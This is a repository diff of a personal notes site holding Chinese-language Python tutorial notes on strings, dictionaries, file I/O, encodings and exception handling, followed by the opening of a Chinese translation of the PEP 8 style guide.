+Line2-abc 
+Line4-abcd
+str_t.split():
+['Line1-abcdef', 'Line2-abc', 'Line4-abcd']
+str_t.split(' ', 1):
+['Line1-abcdef', '\nLine2-abc \nLine4-abcd']
+
+

join()

Python join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。

用法
str.join(sequence)
+
  • sequence -- 要连接的元素序列。
  • 返回通过指定字符连接序列中元素后生成的新字符串。
# 实例
+str_t = ""
+seq = ("a", "b", "c")
+print(str_t.join(seq))
+# 运行结果
+abc
+

strip()

Python strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。

  • 注意:该方法只能删除开头或是结尾的字符,不能删除中间部分的字符。
用法
str.strip([chars]);
+
  • chars -- 移除字符串头尾指定的字符序列。
  • 返回移除字符串头尾指定的字符生成的新字符串。
# 用法
+str_t = "00000003210Runoob01230000000"
+print(str_t.strip('0'))     # 去除首尾字符 0
+print()
+str2 = "   Runoob      "    # 去除首尾空格
+print(str2.strip())
+
+# 运行结果
+3210Runoob0123
+
+Runoob
+

lower()

Python lower() 方法转换字符串中所有大写字符为小写。

用法
str.lower()
+
  • 返回将字符串中所有大写字符转换为小写后生成的字符串。
  • 注意:此方法并不会改变原有列表,而是生成一个新列表


string 模块

import string

string.ascii_uppercase  所有大写字母
+string.ascii_lowercase 所有小写字母
+string.ascii_letters  所有字母
+string.digits  所有数字
+

dict

  • 字典是另一种可变容器模型,且可存储任意类型对象。
    • 字典是无序的
  • 字典的每个键值 key=>value 对用冒号 : 分割,每个键值对之间用逗号 , 分割,整个字典包括在花括号 {} 中 ,格式如下所示:
    d = {key1 : value1, key2 : value2 }
    +
  • 键一般是唯一的,如果重复最后的一个键值对会替换前面的,值不需要唯一。
    >>> dict = {'a': 1, 'b': 2, 'b': '3'}
    +>>> dict['b']
    +'3'
    +>>> dict
    +{'a': 1, 'b': '3'}
    +
  • 值可以取任何数据类型,但键必须是不可变的,如字符串,数字或元组。
    • 一个简单的字典实例:
      dict = {'Alice': '2341', 'Beth': '9102', 'Cecil': '3258'} 
      +
    • 也可如此创建字典:
      dict1 = { 'abc': 456 }
      +dict2 = { 'abc': 123, 98.6: 37 }  
      +

访问字典里的值

把相应的键放入熟悉的方括弧,如下实例:

# 实例
+dict1 = {'Name': 'Zara', 'Age': 7, 'Class': 'First'}
+
+print("dict1['Name']: ", dict1['Name'])
+print("dict['Age']: ", dict1['Age'])
+
+# 运行结果
+dict1['Name']:  Zara
+dict['Age']:  7
+

items
  • Python 字典(Dictionary) items() 函数以列表返回可遍历的(键, 值) 元组数组。
  • 用法
    dict.items()
    +
    • 返回值
      • 返回可遍历的(键, 值) 元组数组。
  • 示例
dict1 = {'Google': 'www.google.com', 'Runoob': 'www.runoob.com',
+         'taobao': 'www.taobao.com'}
+
+print("字典值 : %s" % dict1.items())
+
+# 遍历字典列表
+for key, values in dict1.items():
+    print(key, values)
+
+# 运行结果
+字典值 : dict_items([('Google', 'www.google.com'), ('Runoob', 'www.runoob.com'), ('taobao', 'www.taobao.com')])
+Google www.google.com
+Runoob www.runoob.com
+taobao www.taobao.com
+

修改字典

向字典添加新内容的方法是增加新的键/值对,修改或删除已有键/值对如下

# 实例
+dict1 = {'Name': 'Zara', 'Age': 7, 'Class':'First'}
+
+dict1['Age'] = 8                # 更新
+dict1['School'] = "RUNOOB"      # 添加
+
+print("dict1['Age']: ", dict1['Age'])
+print("dict1['School']: ", dict1['School'])
+
+# 运行结果
+dict1['Age']:  8
+dict1['School']:  RUNOOB
+

删除字典元素

  • 能删单一的元素也能清空字典,清空只需一项操作。
  • 删除一个字典用del命令
del dict['Name']  # 删除键是'Name'的条目
+dict.clear()      # 清空字典所有条目
+del dict          # 删除字典
+

字典键的特性

  • 字典值可以没有限制地取任何python对象,既可以是标准的对象,也可以是用户定义的,但键不行。
  • 两个重要的点需要记住:
    • 不允许同一个键出现两次。创建时如果同一个键被赋值两次,后一个值会被记住
    • 键必须不可变,所以可以用数字,字符串或元组充当,所以用列表就不行

文件操作

  • 学习目标
    • 熟练掌握内置函数open()的应用
    • 理解字符串编码格式对文本文件操作的影响
    • 熟练掌握上下文管理语句with的用法
    • 了解标准库json对JSON文件的读写方法
    • 了解扩展库python-docx、openpyxl、python-pptx对Office文档的操作

  • python中的文件对象:
    • 文件对象不仅可以用来访问普通的磁盘文件, 而且也可以访问任何其它类型抽象层面上的"文件".
    • 一旦设置了合适的"钩子", 你就可以访问具有文件类型接口的其它对象, 就好像访问的是普通文件一样.

文件与文件类型

  • 文件是存储在外部介质上的一组相关数据的集合。文件的基本单位是字节。文件名由两部分组成:主文件名和扩展名
  • 按文件中的数据组织形式文件分为两类:
    • 文本文件
      • 由字符组成,按ASCII码、UTF-8或Unicode等格式编码,文件内容方便查看和编辑。
    • 二进制文件
      • 由0和1组成的二进制编码。典型的二进制文件包括bmp格式的图片文件、avi格式的视频文件、各种计算机语言编译后生成的文件等。
    • 无论是文本文件还是二进制文件,都可以用“文本文件方式”和“二进制文件方式”打开,但打开后的操作是不同的。

csv文件

  • .csv是一种文件格式(如.txt、.doc等),也可理解.csv文件就是一种特殊格式的纯文本文件。即是一组字符序列,字符之间已英文字符的逗号或制表符(Tab)分隔。

字符编码

  • 编码是用数字来表示符号和文字的一种方式,
    • 是符号、文字存储和显示的基础。
  • 信息传递与编码关系:编码--传递--解码
  • 常见的编码
    • ASCII 美国标准信息交换码
      • (1个字节,256个字符)
    • UTF-8 国际通用编码
      • (3个字节表示中文及其他语言)
    • GB2312 中国制定的中文编码
      • (英文1个字节,中文2个字节)
    • GBK GB2312编码的扩展
      • 完全兼容GB2312标准
    • Unicode
      • 国际组织制定的可以容纳世界上所有文字和符号的字符编码方案。

  • 字符串在Python内部的表示是unicode编码
    • 因此,在做编码转换时,通常需要以unicode作为中间编码,
      • 即先将其他编码的字符串解码(decode)成unicode,
      • 再从unicode编码(encode)成另一种编码。
  • decode的作用是将其他编码的字符串转换成unicode编码
    • str1.decode('gb2312')
      +
      表示将gb2312编码的字符串str1转换成unicode编码。
  • encode的作用是将unicode编码转换成其他编码的字符串
    • str2.encode('gb2312')
      +
      表示将unicode编码的字符串str2转换成gb2312编码。
  • 如:s='中文'
    • 如果是在utf8的文件中,该字符串就是utf8编码,如果是在gb2312的文件中,则其编码为gb2312。
      • 这种情况下,要进行编码转换,都需要先用decode方法将其转换成unicode编码,再使用encode方法将其转换成其他编码。
    • 通常,在没有指定特定的编码方式时,都是使用的系统默认编码创建的代码文件。如下:
      • s.decode('utf-8').encode('utf-8')
        +
  • decode():是解码
  • encode()是编码
  • isinstance(s,unicode): 判断s是否是unicode编码,如果是就返回true,否则返回false

文件操作基础

内置函数open()

  • Python内置函数open()使用指定的模式打开指定文件并创建文件对象,该函数完整的用法如下:
    open(file, mode='r', buffering=-1, encoding=None,
    +     errors=None, newline=None, closefd=True, opener=None)
    +
模式说明
r读模式(默认模式,可省略),如果文件不存在,抛出异常
w写模式,如果文件已存在,先清空原有内容;如果文件不存在,创建新文件
x写模式,创建新文件,如果文件已存在则抛出异常
a追加模式,不覆盖文件中原有内容
b二进制模式(可与r、w、x或a模式组合使用)
t文本模式(默认模式,可省略)
+读、写模式(可与其他模式组合使用)

文件对象常用方法

方法功能说明
close()把缓冲区的内容写入文件,同时关闭文件,释放文件对象
read([size])从文本文件中读取并返回size个字符,或从二进制文件中读取并返回size个字节,省略size参数表示读取文件中全部内容
readline()从文本文件中读取并返回一行内容
readlines()返回包含文本文件中每行内容的列表
seek(cookie, whence=0, /)定位文件指针,把文件指针移动到相对于whence的偏移量为cookie的位置。其中whence为0表示文件头,1表示当前位置,2表示文件尾。对于文本文件,whence=2时cookie必须为0;对于二进制文件,whence=2时cookie可以为负数
write(s)把s的内容写入文件,如果写入文本文件则s应该是字符串,如果写入二进制文件则s应该是字节串
writelines(s)把列表s中的所有字符串写入文本文件,并不在s中每个字符串后面自动增加换行符。也就是说,如果确实想让s中的每个字符串写入文本文件之后各占一行,应由程序员保证每个字符串以换行符结束

上下文管理语句with

  • 在实际开发中,读写文件应优先考虑使用上下文管理语句with。关键字with可以自动管理资源,不论因为什么原因跳出with块,总能保证文件被正确关闭。除了用于文件操作,with关键字还可以用于数据库连接、网络连接或类似场合。用于文件内容读写时,with语句的语法形式如下:
    • with open(filename, mode, encoding) as fp:
      +# 这里写通过文件对象fp读写文件内容的语句块
      +

文件的打开或创建的访问模式

#以只读方式打开
+>>> file2=open(“c1.py”,”r”)
+#以读/写方式打开,指明文件路径
+>>> file3=open(“d:\\python35\\test.txt”,”w+)
+#以读/写方式二进制文件
+ >>> file4=open(“tu3.jpg”,”ab+)
+
import os
+file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/myData.txt'))
+with open(file_path, 'r', encoding='GBK') as f:
+    my1 = f.read(9)
+    my2 = f.readline()    # 从当前指针处读写
+    my3 = f.readlines()
+print("f.read(9):", my1)
+print("f.readline():", my2)
+print("f.readlines():", my3)
+f.close()
+
+
+
+### 执行结果:
+f.read(9): learn pyt
+f.readline(): hon
+
+f.readlines(): ['hard work\n', '文本文件\n', '二进制文件']
+

CSV文件

  • CSV文件是一种文本文件,由任意数目的行组成,一行被称为一条记录。
  • CSV格式存储的文件一般采用.csv为扩展名,
    • 可以记事本或微软 Excel工具打开,可以在其他操作系统平台上用文本编辑工具打开。
  • CSV文件特点如下
    • 读取出的数据一般为字符类型,如果要获得数值类型,需要用户完成转换。
    • 以行为单位读取数据。
    • 列之间以半角逗号或制表符为分隔,一般为半角逗号。
    • 一般为每行开头不空格,第一行是属性列,数据列之间用间隔符分隔,无空格,行之间无空行。

csv库

  • Python提供了一个读写CSV文件的标准库,可以通过 import csv语句导入。
  • csv库包含了操作CSV格式文件最基本的功能,典型的方法是csv.reader()csv.writer(),分别用于读和写CSV文件。

向CSV文件中写入和读取数据
  • 用列表变量保存数据,可以使用字符串的join()方法组成逗号分隔形式,再通过文件的write()方法保存到CSV文件中。
  • 读取CSV文件中的数据,即读取一行数据,使用文件的read()方法读取即可,也可以将文件的内容读取到列表中。

异常处理

异常的概念

  • 异常(Exception)就是程序在运行过程中发生的,由于硬件故障、软件设计错误、运行环境不满足等原因导致的程序错误。
    • 比如网络中断、文件找不到等
  • 代码运行时如果发生了异常,将生成代表该异常的一个对象,并交由Python解释器寻找相应的代码来处理这一异常。
  • Python异常处理优点
    • 异常处理代码和正常执行的程序代码分离
    • 多个异常统一处理,具有灵活性
    • 可以从try-except之间的代码段中快速定位异常出现的位置

示例

weekday = ["Mon", "Tues", "Weds", "Thurs", "Fri", "Sat", "Sun"]
+print(weekday[2])
+print(weekday[7])
+
+# 执行结果:
+Weds
+Traceback (most recent call last):
+  File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py", line 3, in <module>
+    print(weekday[7])
+IndexError: list index out of range
+
try:
+    weekday = ["Mon", "Tues", "Wed", "Thurs", "Fri", "Satur", "Sun"]
+    print(weekday[2])
+    print(weekday[7])
+except IndexError:
+    print("列表索引可能超出范围")
+
+# 运行结果:
+Wed
+列表索引可能超出范围
+
+

异常类型


异常名称描述
BaseException所有异常的基类
SystemExit解释器请求退出
KeyboardInterrupt用户中断执行(通常是输入^C)
Exception常规错误的基类
StopIteration迭代器没有更多的值
GeneratorExit生成器(generator)发生异常来通知退出
SystemExitPython 解释器请求退出
StandardError所有的内建标准异常的基类
ArithmeticError所有数值计算错误的基类
FloatingPointError浮点计算错误
OverflowError数值运算超出最大限制
ZeroDivisionError除(或取模)零 (所有数据类型)
AssertionError断言语句失败
AttributeError对象没有这个属性
EOFError没有内建输入,到达EOF 标记
EnvironmentError操作系统错误的基类
IOError输入/输出操作失败
OSError操作系统错误
WindowsError系统调用失败
ImportError导入模块/对象失败
KeyboardInterrupt用户中断执行(通常是输入^C)
LookupError无效数据查询的基类
IndexError序列中没有没有此索引(index)【越界】
KeyError映射中没有这个键
MemoryError内存溢出错误(对于Python 解释器不是致命的)
NameError未声明/初始化对象 (没有属性)
UnboundLocalError访问未初始化的本地变量
ReferenceError弱引用(Weak reference)试图访问已经垃圾回收了的对象
RuntimeError一般的运行时错误
NotImplementedError尚未实现的方法
SyntaxErrorPython 语法错误
IndentationError缩进错误
TabErrorTab 和空格混用
SystemError一般的解释器系统错误
TypeError对类型无效的操作
ValueError传入无效的参数
UnicodeErrorUnicode 相关的错误
UnicodeDecodeErrorUnicode 解码时的错误
UnicodeEncodeErrorUnicode 编码时错误
UnicodeTranslateErrorUnicode 转换时错误
Warning警告的基类
DeprecationWarning关于被弃用的特征的警告
FutureWarning关于构造将来语义会有改变的警告
OverflowWarning旧的关于自动提升为长整型(long)的警告
PendingDeprecationWarning关于特性将会被废弃的警告
RuntimeWarning可疑的运行时行为(runtime behavior)的警告
SyntaxWarning可疑的语法的警告
UserWarning用户代码生成的警告

异常处理机制

  • 程序执行过程中如果出现异常,会自动生成一个异常对象,该异常对象被提交给Python解释器,这个过程称为抛出异常。抛出异常也可以由用户程序自行定义。
  • 当Python解释器接收到异常对象时,会寻找处理这一异常的代码并处理,这一过程叫捕获异常。
  • 如果Python解释器找不到可以处理异常的方法,则运行时系统终止,应用程序退出。

try-except语句

  • 用于处理异常,帮助用户准确定位异常发生的位置和原因。
  • 格式如下
    try:
    +    语句块
    +except ExceptionName1:
    +    异常处理代码1
    +except ExceptionName2:
    +    异常处理代码2
    +……
    +
    +

try语句
  • 指定捕获异常的范围,由try所限定的代码块中的语句在执行过程中,可能会生成异常对象并抛出。

except语句
  • 每个try代码块必须有一个或多个except语句,用于处理try代码块中所生成的异常。
  • except语句后的参数指明它能够捕获的异常类型。except块中包含的是异常处理的代码。
  • 示例:
    while True:
    +  try:
    +      x = int(input("请输入数据"))
    +      print(100/x)
    +  except ZeroDivisionError:
    +      print("异常信息:除数不能为0")
    +  except ValueError:
    +      print("异常信息:输入数据必须是阿拉伯数字")
    +
    +# 运行结果:
    +请输入数据0
    +异常信息:除数不能为0
    +请输入数据s
    +异常信息:输入数据必须是阿拉伯数字
    +请输入数据11.1
    +异常信息:输入数据必须是阿拉伯数字
    +

else语句和finally语句

  • 完整的异常处理结构还可以包括else语句和finally语句。
try:
+	语句块
+except ExceptionName:
+	异常处理代码
+……                          # except可以有多条语句
+else:
+   无异常发生时的语句块
+finally:
+   必须处理的语句块
+
+

else语句
  • 与循环中的else语句类似,当try语句没有捕获到任何异常信息,将不执行except语句块,而是执行else语句块。

finally语句
  • 为异常处理提供一个统一的出口,使得在控制流转到程序的其他部分以前,能够对程序的状态作统一的管理。
  • 不论在try代码块中是否发生了异常,finally块中的语句都会被执行。

示例
  • 从键盘输入一个整数,求100除以它的商,并显示。
    • 对从键盘输入的数进行异常处理,若无异常发生,打印提示信息。
while True:
+    try:
+        x = int(input("请输入数据"))
+        print(100 / x)
+    except ZeroDivisionError:
+        print("异常信息:除数不能为0")
+    except ValueError:
+        print("异常信息:输入数据必须是阿拉伯数字")
+    else:
+        print("程序正常结束,未捕获到异常")
+
+# 运行结果:
+请输入数据0
+异常信息:除数不能为0
+请输入数据11.1
+异常信息:输入数据必须是阿拉伯数字
+请输入数据5
+20.0
+程序正常结束,未捕获到异常
+请输入数据
+
fName = "program0805.py"
+file = None
+try:
+    file = open(fName, "r", encoding="utf-8")
+    for line in file:
+        print(line, end="")
+except FileNotFoundError:
+    print("您要读取的文件不存在,请确认")
+else:
+    print("文件读取正常结束")
+finally:
+    print("文件正常关闭")
+    if file != None:
+        file.close()
+
+# 运行结果:
+您要读取的文件不存在,请确认
+文件正常关闭
+

建站工具

Reflex

reflex/docs/zh/zh_cn/README.md at main · reflex-dev/reflex --- reflex/docs/zh/zh_cn/README.md 位于 main · reflex-dev/reflex (github.com)open in new window

Mark: 适用于需要给当前项目做个基本展示页面不想直接上前端框架的情况, 直接拿 python 生成网页应用程序


使用 http.server 搭建文件服务器

最基础的用法, 使用如下命令可以在本机 8000 端口起一个文件服务器

python -m http.server
+

要结合 ssl 的话需要先创建一组密钥

pip install py-ht
+

报错收集

no module named ‘pip’

一般出现在更新 pip 显示无权访问后出现(因为更新前会先卸载旧版本pip, 安装新版本时出错就导致了 pip缺失)

可以使用 python -m ensurepip 重装 pip

然后会提示删掉 site_packages 中的 ~ip 等以 ~ 开头的文件(夹), 因为这些文件都是没有安装成功的包

+ + + diff --git a/Language/Python/PEP8.html b/Language/Python/PEP8.html new file mode 100644 index 0000000000..e692169340 --- /dev/null +++ b/Language/Python/PEP8.html @@ -0,0 +1,310 @@ + + + + + + + + Introduction 介绍 | DailyNotes + + + + + + +
跳至主要內容

Introduction 介绍

大约 36 分钟

Introduction 介绍

本文提供的Python代码编码规范基于Python主要发行版本的标准库。Python的C语言实现的C代码规范请查看相应的PEP指南open in new window

这篇文档以及PEP 257open in new window(文档字符串的规范)改编自Guido原始的《Python Style Guide》一文,同时添加了一些来自Barry的风格指南open in new window

这篇规范指南随着时间的推移而逐渐演变,随着语言本身的变化,过去的约定也被淘汰了。

许多项目有自己的编码规范,在出现规范冲突时,项目自身的规范优先。

A Foolish Consistency is the Hobgoblin of Little Minds 尽信书,则不如无书

Guido的一条重要的见解是代码阅读比写更加频繁。这里提供的指导原则主要用于提升代码的可读性,使得在大量的Python代码中保持一致。就像PEP 20提到的,“Readability counts”。

这是一份关于一致性的风格指南。这份风格指南的风格一致性是非常重要的。更重要的是项目的风格一致性。在一个模块或函数的风格一致性是最重要的。

然而,应该知道什么时候应该不一致,有时候编码规范的建议并不适用。当存在模棱两可的情况时,使用自己的判断。看看其他的示例再决定哪一种是最好的,不要羞于发问。

特别是不要为了遵守PEP约定而破坏兼容性!

几个很好的理由去忽略特定的规则:

  1. 当遵循这份指南之后代码的可读性变差,甚至是遵循PEP规范的人也觉得可读性差。
  2. 与周围的代码保持一致(也可能出于历史原因),尽管这也是清理他人混乱(真正的Xtreme Programming风格)的一个机会。
  3. 有问题的代码出现在发现编码规范之前,而且也没有充足的理由去修改他们。
  4. 当代码需要兼容不支持编码规范建议的老版本Python。

Code lay-out 代码布局

Indentation 缩进

每一级缩进使用4个空格。

续行应该与其包裹元素对齐,要么使用圆括号、方括号和花括号内的隐式行连接来垂直对齐,要么使用挂行缩进对齐3open in new window。当使用挂行缩进时,应该考虑到第一行不应该有参数,以及使用缩进以区分自己是续行。

  1. 挂行缩进是一种类型设置样式,其中除第一行之外,段落中的所有行都缩进。在Python中,这个术语是用来描述一种风格:在被括号括起来的语句中,左括号是这一行最后一个非空格字符,随后括号内的内容每一行进行缩进,直到遇到右括号。

推荐:

# 与左括号对齐
+foo = long_function_name(var_one, var_two,
+                         var_three, var_four)
+
+# 用更多的缩进来与其他行区分
+def long_function_name(
+        var_one, var_two, var_three,
+        var_four):
+    print(var_one)
+
+# 挂行缩进应该再换一行
+foo = long_function_name(
+    var_one, var_two,
+    var_three, var_four)
+

不推荐:

# 没有使用垂直对齐时,禁止把参数放在第一行
+foo = long_function_name(var_one, var_two,
+    var_three, var_four)
+
+# 当缩进没有与其他行区分时,要增加缩进
+def long_function_name(
+    var_one, var_two, var_three,
+    var_four):
+    print(var_one)
+

四空格的规则对于续行是可选的。

可选:

# 挂行缩进不一定要用4个空格
+foo = long_function_name(
+  var_one, var_two,
+  var_three, var_four)
+

当if语句的条件部分长到需要换行写的时候,注意可以在两个字符关键字的连接处(比如if),增加一个空格,再增加一个左括号来创造一个4空格缩进的多行条件。这会与if语句内同样使用4空格缩进的代码产生视觉冲突。PEP没有明确指明要如何区分i发的条件代码和内嵌代码。可使用的选项包括但不限于下面几种情况:

# 没有额外的缩进
+if (this_is_one_thing and
+    that_is_another_thing):
+    do_something()
+
+# 增加一个注释,在能提供语法高亮的编辑器中可以有一些区分
+if (this_is_one_thing and
+    that_is_another_thing):
+    # Since both conditions are true, we can frobnicate.
+    do_something()
+
+# 在条件判断的语句添加额外的缩进
+if (this_is_one_thing
+        and that_is_another_thing):
+    do_something()
+

(可以参考下面关于是否在二进制运算符之前或之后截断的讨论) 在多行结构中的大括号/中括号/小括号的右括号可以与内容对齐单独起一行作为最后一行的第一个字符,就像这样:

my_list = [
+    1, 2, 3,
+    4, 5, 6,
+    ]
+result = some_function_that_takes_arguments(
+    'a', 'b', 'c',
+    'd', 'e', 'f',
+    )
+

或者也可以与多行结构的第一行第一个字符对齐,就像这样:

my_list = [
+    1, 2, 3,
+    4, 5, 6,
+]
+result = some_function_that_takes_arguments(
+    'a', 'b', 'c',
+    'd', 'e', 'f',
+)
+

Tabs or Spaces? 制表符还是空格?

空格是首选的缩进方式。 制表符只能用于与同样使用制表符缩进的代码保持一致。 Python3不允许同时使用空格和制表符的缩进。 混合使用制表符和空格缩进的Python2代码应该统一转成空格。 当在命令行加入-t选项执行Python2时,它会发出关于非法混用制表符与空格的警告。当使用–tt时,这些警告会变成错误。强烈建议使用这样的参数。

Maximum Line Length 行的最大长度

所有行限制的最大字符数为79。 没有结构化限制的大块文本(文档字符或者注释),每行的最大字符数限制在72。 限制编辑器窗口宽度可以使多个文件并行打开,并且在使用代码检查工具(在相邻列中显示这两个版本)时工作得很好。 大多数工具中的默认封装破坏了代码的可视化结构,使代码更难以理解。避免使用编辑器中默认配置的80窗口宽度,即使工具在帮你折行时在最后一列放了一个标记符。某些基于Web的工具可能根本不提供动态折行。 一些团队更喜欢较长的行宽。如果代码主要由一个团队维护,那这个问题就能达成一致,可以把行长度从80增加到100个字符(更有效的做法是将行最大长度增加到99个字符),前提是注释和文档字符串依然已72字符折行。 Python标准库比较保守,需要将行宽限制在79个字符(文档/注释限制在72)。 较长的代码行选择Python在小括号,中括号以及大括号中的隐式续行方式。通过小括号内表达式的换行方式将长串折成多行。这种方式应该优先使用,而不是使用反斜杠续行。 反斜杠有时依然很有用。比如,比较长的,多个with状态语句,不能使用隐式续行,所以反斜杠是可以接受的:

with open('/path/to/some/file/you/want/to/read') as file_1, \
+     open('/path/to/some/file/being/written', 'w') as file_2:
+    file_2.write(file_1.read())
+

(请参阅前面关于多行if-语句open in new window的讨论,以获得关于这种多行with-语句缩进的进一步想法。) 另一种类似情况是使用assert语句。 确保在续行进行适当的缩进。

Should a line break before or after a binary operator? 在二元运算符之前应该换行吗?

几十年来,推荐的风格是在二元运算符之后中断。但是这会影响可读性,原因有二:操作符一般分布在屏幕上不同的列中,而且每个运算符被移到了操作数的上一行。下面例子这个情况就需要额外注意,那些变量是相加的,那些变量是相减的:

# 不推荐: 操作符离操作数太远
+income = (gross_wages +
+          taxable_interest +
+          (dividends - qualified_dividends) -
+          ira_deduction -
+          student_loan_interest)
+

为了解决这种可读性的问题,数学家和他们的出版商遵循了相反的约定。Donald Knuth在他的Computers and Typesetting系列中解释了传统规则:“尽管段落中的公式总是在二元运算符和关系之后中断,显示出来的公式总是要在二元运算符之前中断”4open in new window。 遵循数学的传统能产出更多可读性高的代码:

# 推荐:运算符和操作数很容易进行匹配
+income = (gross_wages
+          + taxable_interest
+          + (dividends - qualified_dividends)
+          - ira_deduction
+          - student_loan_interest)
+

在Python代码中,允许在二元运算符之前或之后中断,只要本地的约定是一致的。对于新代码,建议使用Knuth的样式。

Blank Lines 空行

顶层函数和类的定义,前后用两个空行隔开。 类里的方法定义用一个空行隔开。 相关的功能组可以用额外的空行(谨慎使用)隔开。一堆相关的单行代码之间的空白行可以省略(例如,一组虚拟实现 dummy implementations)。 在函数中使用空行来区分逻辑段(谨慎使用)。 Python接受control-L(即^L)换页符作为空格;许多工具把这些字符当作页面分隔符,所以你可以在文件中使用它们来分隔相关段落。请注意,一些编辑器和基于Web的代码阅读器可能无法识别control-L为换页,将在其位置显示另一个字形。

Source File Encoding 源文件编码

Python核心发布版本中的代码总是以UTF-8格式编码(或者在Python2中用ASCII编码)。 使用ASCII(在Python2中)或UTF-8(在Python3中)编码的文件不应具有编码声明。 在标准库中,非默认的编码应该只用于测试,或者当一个注释或者文档字符串需要提及一个包含内ASCII字符编码的作者名字的时候;否则,使用\x,\u,\U , 或者 \N 进行转义来包含非ASCII字符。 对于Python 3和更高版本,标准库规定了以下策略(参见 PEP 3131open in new window):Python标准库中的所有标识符必须使用ASCII标识符,并在可行的情况下使用英语单词(在许多情况下,缩写和技术术语是非英语的)。此外,字符串文字和注释也必须是ASCII。唯一的例外是(a)测试非ASCII特征的测试用例,以及(b)作者的名称。作者的名字如果不使用拉丁字母拼写,必须提供一个拉丁字母的音译。 鼓励具有全球受众的开放源码项目采取类似的政策。

Imports 导入

  • 导入通常在分开的行,例如:

    推荐: import os
    +     import sys
    +
    +不推荐:  import sys, os
    +

    但是可以这样:

    from subprocess import Popen, PIPE
    +
  • 导入总是位于文件的顶部,在模块注释和文档字符串之后,在模块的全局变量与常量之前。 导入应该按照以下顺序分组:

    1. 标准库导入
    2. 相关第三方库导入
    3. 本地应用/库特定导入 你应该在每一组导入之间加入空行。
  • 推荐使用绝对路径导入,如果导入系统没有正确的配置(比如包里的一个目录在sys.path里的路径后),使用绝对路径会更加可读并且性能更好(至少能提供更好的错误信息):

    import mypkg.sibling
    +from mypkg import sibling
    +from mypkg.sibling import example
    +

    然而,显示的指定相对导入路径是使用绝对路径的一个可接受的替代方案,特别是在处理使用绝对路径导入不必要冗长的复杂包布局时:

    from . import sibling
    +from .sibling import example
    +
  • 标准库要避免使用复杂的包引入结构,而总是使用绝对路径。 不应该使用隐式相对路径导入,并且在Python 3中删除了它。

  • 当从一个包含类的模块中导入类时,常常这么写:

    from myclass import MyClass
    +from foo.bar.yourclass import YourClass
    +

    如果上述的写法导致名字的冲突,那么这么写:

    import myclass
    +import foo.bar.yourclass
    +

    然后使用“myclass.MyClass”和“foo.bar.yourclass.YourClass”。

  • 避免通配符的导入(from import *),因为这样做会不知道命名空间中存在哪些名字,会使得读取接口和许多自动化工具之间产生混淆。对于通配符的导入,有一个防御性的做法,即将内部接口重新发布为公共API的一部分(例如,用可选加速器模块的定义覆盖纯Python实现的接口,以及重写那些事先不知道的定义)。 当以这种方式重新发布名称时,以下关于公共和内部接口的准则仍然适用。

Module level dunder names 模块级的“呆”名

__all__ , __author__ , __version__ 等这样的模块级“呆名“(也就是名字里有两个前缀下划线和两个后缀下划线),应该放在文档字符串的后面,以及除from __future__ 之外的import表达式前面。Python要求将来在模块中的导入,必须出现在除文档字符串之外的其他代码之前。 比如:

"""This is the example module.
+
+This module does stuff.
+"""
+
+from __future__ import barry_as_FLUFL
+
+__all__ = ['a', 'b', 'c']
+__version__ = '0.1'
+__author__ = 'Cardinal Biggles'
+
+import os
+import sys
+

String Quotes 字符串引号

在Python中,单引号和双引号字符串是相同的。PEP不会为这个给出建议。选择一条规则并坚持使用下去。当一个字符串中包含单引号或者双引号字符的时候,使用和最外层不同的符号来避免使用反斜杠,从而提高可读性。 对于三引号字符串,总是使用双引号字符来与PEP 257open in new window中的文档字符串约定保持一致。

Whitespace in Expressions and Statements 表达式和语句中的空格

Pet Peeves 不能忍受的事情

在下列情况下,避免使用无关的空格:

  • 紧跟在小括号,中括号或者大括号后。

    Yes: spam(ham[1], {eggs: 2})
    +No:  spam( ham[ 1 ], { eggs: 2 } )
    +
  • 紧贴在逗号、分号或者冒号之前。

    Yes: if x == 4: print x, y; x, y = y, x
    +No:  if x == 4 : print x , y ; x , y = y , x
    +
  • 然而,冒号在切片中就像二元运算符,在两边应该有相同数量的空格(把它当做优先级最低的操作符)。在扩展的切片操作中,所有的冒号必须有相同的间距。例外情况:当一个切片参数被省略时,空格就被省略了。 推荐:

    ham[1:9], ham[1:9:3], ham[:9:3], ham[1::3], ham[1:9:]
    +ham[lower:upper], ham[lower:upper:], ham[lower::step]
    +ham[lower+offset : upper+offset]
    +ham[: upper_fn(x) : step_fn(x)], ham[:: step_fn(x)]
    +ham[lower + offset : upper + offset]
    +

    不推荐:

    ham[lower + offset:upper + offset]
    +ham[1: 9], ham[1 :9], ham[1:9 :3]
    +ham[lower : : upper]
    +ham[ : upper]
    +
  • 紧贴在函数参数的左括号之前。

    Yes: spam(1)
    +No:  spam (1)
    +
  • 紧贴索引或者切片的左括号之前。

    Yes: dct['key'] = lst[index]
    +No:  dct ['key'] = lst [index]
    +
  • 为了和另一个赋值语句对齐,在赋值运算符附件加多个空格。 推荐:

    x = 1
    +y = 2
    +long_variable = 3
    +
  • 不推荐:

    x             = 1
    +y             = 2
    +long_variable = 3
    +

Other Recommendations 其他建议

  • 避免在尾部添加空格。因为尾部的空格通常都看不见,会产生混乱:比如,一个反斜杠后面跟一个空格的换行符,不算续行标记。有些编辑器不会保留尾空格,并且很多项目(像CPython)在pre-commit的挂钩调用中会过滤掉尾空格。

  • 总是在二元运算符两边加一个空格:赋值(=),增量赋值(+=,-=),比较(==,<,>,!=,<>,<=,>=,in,not,in,is,is not),布尔(and, or, not)。

  • 如果使用具有不同优先级的运算符,请考虑在具有最低优先级的运算符周围添加空格。有时需要通过自己来判断;但是,不要使用一个以上的空格,并且在二元运算符的两边使用相同数量的空格。 推荐:

    i = i + 1
    +submitted += 1
    +x = x*2 - 1
    +hypot2 = x*x + y*y
    +c = (a+b) * (a-b)
    +

    不推荐:

    i=i+1
    +submitted +=1
    +x = x * 2 - 1
    +hypot2 = x * x + y * y
    +c = (a + b) * (a - b)
    +
  • 在制定关键字参数或者默认参数值的时候,不要在=附近加上空格。
    推荐:

    def complex(real, imag=0.0):
    +    return magic(r=real, i=imag)
    +

    不推荐:

    def complex(real, imag = 0.0):
    +    return magic(r = real, i = imag)
    +
  • 功能型注释应该使用冒号的一般性规则,并且在使用->的时候要在两边加空格。(参考下面的功能注释得到能够多信息)
    推荐:

    def munge(input: AnyStr): ...
    +def munge() -> AnyStr: ...
    +

    不推荐:

    def munge(input:AnyStr): ...
    +def munge()->PosInt: ...
    +
